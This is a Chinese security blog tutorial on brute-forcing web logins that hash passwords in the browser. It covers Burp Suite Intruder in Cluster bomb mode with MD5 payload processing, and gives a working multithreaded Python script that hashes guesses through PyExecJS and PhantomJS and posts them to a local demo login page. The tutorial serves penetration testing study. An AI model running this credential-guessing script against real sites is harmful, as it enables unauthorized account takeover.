0x01 前言
常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。
0x02 代码
login.html
用户登录
提交表单,进行抓包,可以发现密码字段密码进行了加密处理:
0x03 Web暴力猜解
方式一:Burp Suite
使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。
四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。
最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。
1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”
2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理
3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值 admin:21232f297a57a5a743894a0e4a801fc3
4、md5解密成功,获得用户名密码 admin/admin
方式二:Python脚本
这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密
准备:
pip install PyExecJS
phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip
编写Python脚本进行爆破:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import threadpool
from selenium import webdriver
import execjs
def getpass(str):
with open ('md5.js','r') as js:
source = js.read()
phantom = execjs.get('PhantomJS')
getpass = phantom.compile(source)
password = getpass.call('hex_md5',str)
return password
def login(user,passwd):
url="http://127.0.0.1/login.php"
payload ={'username':user,'password':getpass(passwd)}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
try:
response = requests.post(url,data=payload,headers=headers,timeout=5)
result=response.content
if result.count('fail')<1:
print '[success] ' +url+":"+user+':'+passwd
except:
pass
def getLines(fileName):
list=[]
with open(fileName, 'r') as fd:
for line in fd.readlines():
line = line.strip()
if not len(line) or line.startswith('#'):
continue
list.append(line)
return list
if __name__ == '__main__':
username_list=getLines('user.dict')
password_list=getLines('pass.dict')
userlist = [([user,passwd],None) for user in username_list for passwd in password_list]
pool = threadpool.ThreadPool(20)
reqs = threadpool.makeRequests(login,userlist)
[pool.putRequest(req) for req in reqs]
pool.wait()
成功爆破用户账号密码
0x04 END
从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
参考链接:
JS实现密码加密
http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html
js实现表单提交submit(),onsubmit
https://www.cnblogs.com/web-wjg/p/7894657.html
对登录中账号密码进行加密之后再传输的爆破的思路和方式
http://www.freebuf.com/articles/web/127888.html